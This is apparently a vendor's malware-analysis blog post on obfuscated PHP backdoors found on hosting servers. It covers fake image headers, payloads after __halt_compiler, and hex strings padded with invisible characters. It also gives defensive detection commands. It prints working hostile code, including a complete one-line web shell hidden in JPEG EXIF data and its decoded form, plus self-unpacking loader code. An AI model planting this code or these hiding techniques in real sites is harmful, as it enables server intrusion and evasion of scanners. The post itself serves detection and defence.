
Run file on a suspicious PHP file and it answers JPEG image data. Open it in an editor and you get a screen of garbage characters. Run grep for eval, base64 or system and nothing matches. It’s natural to decide it’s a broken upload and move on.
Some of these are attacks built to look exactly like that. Here are four techniques, all from files that reached Pyxsoft Labs from hosting servers in the past three weeks. Of the six samples below, only one was flagged by any antivirus engine on VirusTotal when Labs checked it. Two were known there with zero detections, and three weren’t known at all.
1. A fake image header, and the payload compressed after the end of the file
Sample 545 was found as ~/public_html/bafna/js/tinymce/skins/ui/oxide/core.php, hidden among the files of a text editor. For file, it’s a picture:
$ file core.php
core.php: JPEG image data
Its first four bytes are FF D8 FF E2, the start of a JPEG file. That’s the only part of a JPEG in it. Right after them comes PHP:
00000000: ffd8 ffe2 3c3f 7068 700a 2f2a 206d 6e6d ....<?php./* mnm
00000010: 786e 7820 2a2f 2024 7320 3d20 2268 6522 xnx */ $s = "he"
00000020: 202e 2022 7832 6269 6e22 3b24 5f20 3d20 . "x2bin";$_ =
The file as we received it
The PHP part is a single line. The function names are stored in hex so that none of them can be found with grep:
<?php
/* mnmxnx */ $s = "he" . "x2bin";$_ = array($s,"666f70656e","667365656b","746d7066696c65","73747265616d5f6765745f6d6574615f64617461","667772697465","73747265616d5f6765745f636f6e74656e7473","66636c6f7365","5f5f68616c745f636f6d70696c6572","677a696e666c617465");$x1=$_[0];$x2=$x1($_[1]);...;$f=$x2(__FILE__,"r");$x3($f,__COMPILER_HALT_OFFSET__);$t=$x4();$u=$x5($t);$u=$u["uri"];$x6($t,$x10($x7($f)));IncLude($u);$x8($t);__Halt_CompiLer();
After __Halt_CompiLer(); come 21 KB of binary data. That’s what makes the editor show garbage.
What it does
With the hex names decoded (666f70656e is fopen, 677a696e666c617465 is gzinflate…) the line reads:
echo "\xff\xd8\xff\xe2";
$f = fopen(__FILE__, "r");
fseek($f, __COMPILER_HALT_OFFSET__);
$t = tmpfile();
$u = stream_get_meta_data($t)["uri"];
fwrite($t, gzinflate(stream_get_contents($f)));
include($u);
fclose($t);
__halt_compiler();
__halt_compiler() tells PHP that the file ends there, and PHP never parses what comes after it. The code before it, though, can open its own file, jump to that point (__COMPILER_HALT_OFFSET__), decompress the rest with gzinflate, write it to a temporary file and include it. The real code is never on the disk as readable PHP, and there is no eval anywhere to look for.
The 21 KB unpack to 29 KB of PHP: a class called Bar that is itself obfuscated, with its function names split across arrays. Put back together, it is a password-protected loader. It looks for a key in the request (_td) or in a cookie named after a hash of the domain, uses that key to decrypt the actual payload stored in the class, and runs it. Without the attacker’s password, nobody else can run it or read it, deobfuscator included. What you can tell is what it is, and that someone kept a door here.
Two more samples use the same wrapper. Sample 1410, in wp-content/uploads/2019/05/library.php, starts with PK\x03\x04 instead, the header of a ZIP file, so file calls it data. Its payload is another copy of the same kind of loader. Sample 566, in a theme’s scss/modules/000library.php, unpacks to 76 KB: a spam mailer that rewrites REMOTE_ADDR before sending, turns off PHP’s X-PHP-Originating-Script mail header, answers #OK# to a health check and keeps its own log file next to it. That is how a server ends up on an email blocklist without anyone noticing a web shell.
2. A real image with PHP inside
Sample 1030 is a genuine JPEG: 13 KB, 72×72 DPI, a valid EXIF block, and it opens as a picture. It was saved as ~/public_html/main/inc/lib/ppt2png/system25.php. Inside the EXIF data, among the camera fields, there’s this:
<?="<br>";?>dnthirteen@h34rt****.today:~$ <?="<".("{"^"+").("{"^")").("{"^">").">";@$_++;$__ = ${("|"^"#").("{"^"<").("{"^">;").("{"^"/")}[!$_];$___ = `$__` ?: $__(${("|"^"#").("{"^"<").("{"^">;").("{"^"/")}[$_]);?><?=($___."</".("{"^"+").("{"^")").("{"^">").">");__HALT_COMPILER();?>
PHP ignores everything outside <? and ?> and just prints it, so the image bytes before and after are harmless output. The code builds its strings by XORing pairs of characters: "{"^"+" is P, and ("|"^"#").("{"^"<")... spells _GET. Decoded:
echo '<PRE>';
$_ = 1;
$__ = $_GET[0];
$___ = `$__` ?: $__($_GET[1]);
echo $___ . '</PRE>';
That’s a complete web shell in one line: ?0=ls -la runs a shell command (the backticks), and if that fails, ?0=system&1=... calls any PHP function with an argument. It even prints a fake terminal prompt.
The point of hiding it in a real image is to get past upload forms. A form that checks the file’s first bytes, or calls getimagesize(), sees a valid JPEG and accepts it. Then all it takes is a .php name, or a vulnerability that includes uploaded files.
Sample 1667 does the same with a newer format. It’s an AVIF image header followed by a full PHP file that introduces itself as a WordPress plugin, File Manager Pro, “advanced file manager with terminal”. It was found inside wp-admin/images/.
3. Invisible characters between the hex
Sample 2124, ~/public_html/wp-content/upgrade/modules/2025/src/media/knui/czsdv/admin.php, is 337 KB. file calls it a PHP script, but its strings look like this (Unicode escapes shown so you can see what’s in it):
'37͏62317឵឵263\xad7...'
Every second or third character is invisible: zero-width space (U+200B), zero-width joiner (U+200D), byte order mark (U+FEFF), soft hyphen (U+00AD), the Arabic letter mark, Mongolian and Khmer vowel separators and more: 75,167 of them, almost one for every hex digit. In most editors they take no space at all, or show up as small boxes. A search for 3762 fails because those four characters are never next to each other. The string is also split into 8,752 pieces joined with ., cut in the middle of the multi-byte characters, and the method that uses it is shuffled with goto.
Inside, the code lists 19 such characters and strips them:
$_invisible = ["\u{200B}", "\u{200C}", "\u{200D}", "\u{FEFF}", "\u{2060}", "\u{180E}", ...];
$a_HU518aE = str_replace($_invisible, '', $a_HU518aE);
for ($i = 0; $i < strlen($a_HU518aE); $i += 2) {
$out .= chr(hexdec(substr($a_HU518aE, $i, 2)));
}
eval(gzinflate(base64_decode($out)));
What’s left is 75,256 hex digits, then base64, then compressed PHP: a complete file manager with its own login, database client and file editor, preceded by a redirect commented in Indonesian.
How to look at files like these
Don’t trust file or how a file looks in an editor. A few checks find all of the above:
# PHP files that "file" thinks are something else
find /home/*/public_html -name '*.php' -type f -print0 | xargs -0 file | grep -vE 'PHP script|text|empty'
# code that reads itself after __halt_compiler
grep -rliE '__halt_compiler|__COMPILER_HALT_OFFSET__' --include='*.php' /home/*/public_html
# images (or anything) that carry PHP
grep -rlaE '<\?(php|=)' --include='*.jpg' --include='*.jpeg' --include='*.png' --include='*.gif' --include='*.ico' /home/*/public_html
# zero-width characters in PHP files
grep -rlP '\x{200B}|\x{200D}|\x{FEFF}|\x{2060}' --include='*.php' /home/*/public_html
The first one also lists legitimate PHP files saved with an unusual encoding, and the last one finds some translation files. Read before deleting. To see the beginning of a file as it really is, xxd file.php | head beats any editor.
All four techniques come apart in our free PHP deobfuscator: it unpacks the data after __halt_compiler, decodes the XOR strings and the hex names, strips the invisible characters and shows the code, without running any of it. The step-by-step guide covers the techniques in more detail.
All six samples in this post reached Labs because Pyxsoft Anti Malware flagged them on the servers where they were found, five of them without any signature, by what their code does. 7 days free, on cPanel, DirectAdmin or a server with no panel.